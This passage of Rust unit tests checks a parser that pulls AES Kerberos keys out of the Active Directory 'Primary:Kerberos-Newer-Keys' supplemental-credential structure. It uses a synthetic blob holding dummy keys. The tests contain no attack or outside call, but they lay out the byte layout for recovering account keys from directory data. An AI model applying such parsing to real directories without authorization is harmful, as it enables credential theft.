768    /// Lock the USER_PROPERTIES → Kerberos-Newer-Keys parser offsets against a synthetic blob
769    /// carrying one AES256 and one AES128 current key (MS-SAMR 2.2.10).
770    #[test]
771    fn parse_kerberos_keys_synthetic() {
772        let aes256 = vec![0xAAu8; 32];
773        let aes128 = vec![0xBBu8; 16];
774
775        // KERB_STORED_CREDENTIAL_NEW: 24-byte header, then two 24-byte KERB_KEY_DATA_NEW, then keys.
776        let mut cred = Vec::new();
777        cred.extend_from_slice(&4u16.to_le_bytes()); // Revision
778        cred.extend_from_slice(&0u16.to_le_bytes()); // Flags
779        cred.extend_from_slice(&2u16.to_le_bytes()); // CredentialCount = 2
780        cred.extend_from_slice(&0u16.to_le_bytes()); // ServiceCredentialCount
781        cred.extend_from_slice(&0u16.to_le_bytes()); // OldCredentialCount
782        cred.extend_from_slice(&0u16.to_le_bytes()); // OlderCredentialCount
783        cred.extend_from_slice(&0u16.to_le_bytes()); // DefaultSaltLength
784        cred.extend_from_slice(&0u16.to_le_bytes()); // DefaultSaltMaximumLength
785        cred.extend_from_slice(&0u32.to_le_bytes()); // DefaultSaltOffset
786        cred.extend_from_slice(&4096u32.to_le_bytes()); // DefaultIterationCount
787        assert_eq!(cred.len(), 24);
788        let key0_off = 24 + 24 * 2; // after both key-data entries
789        let key1_off = key0_off + aes256.len();
790        // KERB_KEY_DATA_NEW #0 (AES256)
791        cred.extend_from_slice(&0u16.to_le_bytes()); // Reserved1
792        cred.extend_from_slice(&0u16.to_le_bytes()); // Reserved2
793        cred.extend_from_slice(&0u32.to_le_bytes()); // Reserved3
794        cred.extend_from_slice(&4096u32.to_le_bytes()); // IterationCount
795        cred.extend_from_slice(&18u32.to_le_bytes()); // KeyType = AES256
796        cred.extend_from_slice(&(aes256.len() as u32).to_le_bytes());
797        cred.extend_from_slice(&(key0_off as u32).to_le_bytes());
798        // KERB_KEY_DATA_NEW #1 (AES128)
799        cred.extend_from_slice(&0u16.to_le_bytes());
800        cred.extend_from_slice(&0u16.to_le_bytes());
801        cred.extend_from_slice(&0u32.to_le_bytes());
802        cred.extend_from_slice(&4096u32.to_le_bytes());
803        cred.extend_from_slice(&17u32.to_le_bytes()); // KeyType = AES128
804        cred.extend_from_slice(&(aes128.len() as u32).to_le_bytes());
805        cred.extend_from_slice(&(key1_off as u32).to_le_bytes());
806        cred.extend_from_slice(&aes256);
807        cred.extend_from_slice(&aes128);
808
809        // PropertyValue is ASCII-hex of the credential blob.
810        let val_hex = hex::encode(&cred);
811        let name: Vec<u16> = "Primary:Kerberos-Newer-Keys".encode_utf16().collect();
812        let mut name_b = Vec::new();
813        for c in &name {
814            name_b.extend_from_slice(&c.to_le_bytes());
815        }
816
817        // USER_PROPERTIES
818        let mut up = vec![0u8; 108];
819        up.extend_from_slice(&0x50u16.to_le_bytes()); // PropertySignature @108
820        up.extend_from_slice(&1u16.to_le_bytes()); // PropertyCount @110
821                                                   // one USER_PROPERTY
822        up.extend_from_slice(&(name_b.len() as u16).to_le_bytes());
823        up.extend_from_slice(&(val_hex.len() as u16).to_le_bytes());
824        up.extend_from_slice(&0u16.to_le_bytes()); // Reserved
825        up.extend_from_slice(&name_b);
826        up.extend_from_slice(val_hex.as_bytes());
827        up.push(0); // Reserved5
828
829        let keys = parse_kerberos_keys(&up);
830        assert_eq!(keys.len(), 2);
831        assert_eq!(keys[0].keytype, 18);
832        assert_eq!(keys[0].key, aes256);
833        assert_eq!(keys[0].etype_name(), "aes256-cts-hmac-sha1-96");
834        assert_eq!(keys[1].keytype, 17);
835        assert_eq!(keys[1].key, aes128);
836    }
837
838    #[test]
839    fn parse_kerberos_keys_rejects_garbage() {
840        assert!(parse_kerberos_keys(&[]).is_empty());
841        assert!(parse_kerberos_keys(&[0u8; 200]).is_empty()); // no 0x50 signature
842    }
843}